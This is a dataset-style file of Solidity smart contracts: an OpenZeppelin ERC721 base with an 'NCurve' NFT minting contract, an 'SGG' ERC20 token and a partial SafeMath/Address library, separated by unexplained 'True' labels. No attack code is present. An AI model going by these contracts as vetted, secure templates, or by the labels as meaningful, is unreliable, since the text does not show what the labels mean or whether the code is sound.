// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), 'ERC721: balance query for the zero address');
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), 'ERC721: owner query for nonexistent token');
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), 'ERC721Metadata: URI query for nonexistent token');
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : '';
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return '';
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, 'ERC721: approval to current owner');
require(_msgSender() == owner || isApprovedForAll(owner, _msgSender()), 'ERC721: approve caller is not owner nor approved for all');
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), 'ERC721: approved query for nonexistent token');
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), 'ERC721: approve to caller');
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), 'ERC721: transfer caller is not owner nor approved');
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, '');
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), 'ERC721: transfer caller is not owner nor approved');
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), 'ERC721: transfer to non ERC721Receiver implementer');
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), 'ERC721: operator query for nonexistent token');
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, '');
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(_checkOnERC721Received(address(0), to, tokenId, _data), 'ERC721: transfer to non ERC721Receiver implementer');
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), 'ERC721: mint to the zero address');
require(!_exists(tokenId), 'ERC721: token already minted');
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, 'ERC721: transfer of token that is not own');
require(to != address(0), 'ERC721: transfer to the zero address');
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert('ERC721: transfer to non ERC721Receiver implementer');
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// File @openzeppelin/contracts/token/ERC721/extensions/[email protected]
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// File @openzeppelin/contracts/token/ERC721/extensions/[email protected]
pragma solidity ^0.8.0;
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
abstract contract ERC721Enumerable is ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {
return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
require(index < ERC721.balanceOf(owner), 'ERC721Enumerable: owner index out of bounds');
return _ownedTokens[owner][index];
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
require(index < ERC721Enumerable.totalSupply(), 'ERC721Enumerable: global index out of bounds');
return _allTokens[index];
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = ERC721.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
}
// File @openzeppelin/contracts/access/[email protected]
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), 'Ownable: caller is not the owner');
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), 'Ownable: new owner is the zero address');
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// File @openzeppelin/contracts/security/[email protected]
pragma solidity ^0.8.0;
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, 'ReentrancyGuard: reentrant call');
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface NInterface {
function ownerOf(uint256 tokenId) external view returns (address owner);
}
contract NCurve is ERC721Enumerable, Ownable, ReentrancyGuard {
using Address for address;
address public nAddress = 0x05a46f1E545526FB803FF974C790aCeA34D1f2D6;
NInterface nContract = NInterface(nAddress);
bool public presaleActive = false;
bool public publicSaleActive = false;
uint256 public presalePrice = 0.015 ether;
uint256 public publicPrice = 0.05 ether;
string public baseTokenURI;
constructor(string memory _newBaseURI) ERC721('n Curve', 'NCRV') {
setBaseURI(_newBaseURI);
}
// Override so the openzeppelin tokenURI() method will use this method to create the full tokenURI instead
function _baseURI() internal view virtual override returns (string memory) {
return baseTokenURI;
}
// See which address owns which tokens
function tokensOfOwner(address _ownerAddress) public view returns (uint256[] memory) {
uint256 tokenCount = balanceOf(_ownerAddress);
uint256[] memory tokenIds = new uint256[](tokenCount);
for (uint256 i; i < tokenCount; i++) {
tokenIds[i] = tokenOfOwnerByIndex(_ownerAddress, i);
}
return tokenIds;
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), 'ERC721Metadata: URI query for nonexistent token');
return super.tokenURI(tokenId);
}
// Exclusive presale minting with N
function mintWithN(uint256 _nId) public payable nonReentrant {
require(presaleActive, 'Presale not started');
require(msg.value == presalePrice, 'Wrong amount of ETH sent');
require(nContract.ownerOf(_nId) == msg.sender, 'Not the owner of this N');
_safeMint(msg.sender, _nId);
}
// Standard mint function
function mint(uint256 _nId) public payable {
require(publicSaleActive, 'Public sale not started');
require(msg.value == publicPrice, 'Ether value sent is not correct');
require(_nId > 0 && _nId <= 8888, 'Token ID invalid');
_safeMint(msg.sender, _nId);
}
// Start and stop presale
function setPresaleActive(bool _presaleActive) public onlyOwner {
presaleActive = _presaleActive;
}
// Start and stop public sale
function setPublicSaleActive(bool _publicSaleActive) public onlyOwner {
publicSaleActive = _publicSaleActive;
}
// Set new baseURI
function setBaseURI(string memory _newBaseURI) public onlyOwner {
baseTokenURI = _newBaseURI;
}
function withdraw(uint256 _amount) public onlyOwner {
(bool success, ) = msg.sender.call{value: _amount}('');
require(success, 'Transfer failed.');
}
} | True | [
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|
pragma solidity ^0.5.0;
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
//
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public view returns (uint);
function balanceOf(address tokenOwner) public view returns (uint balance);
function allowance(address tokenOwner, address spender) public view returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Safe Math Library
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0);
c = a / b;
}
}
contract StargateVrMining is ERC20Interface, SafeMath {
string public name;
string public symbol;
uint8 public decimals; // 18 decimals is the strongly suggested default, avoid changing it
uint256 public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
/**
* Constrctor function
*
* Initializes contract with initial supply tokens to the creator of the contract
*/
constructor() public {
name = "Stargate Vr Mining";
symbol = "SGG";
decimals = 18;
_totalSupply = 100000000000000000000000000;
balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
function totalSupply() public view returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
} | True | [
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|
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function add32(uint32 a, uint32 b) internal pure returns (uint32) {
uint32 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
}
interface IERC20 {
function decimals() external view returns (uint8);
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard}
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _functionCallWithValue(
address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage
) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
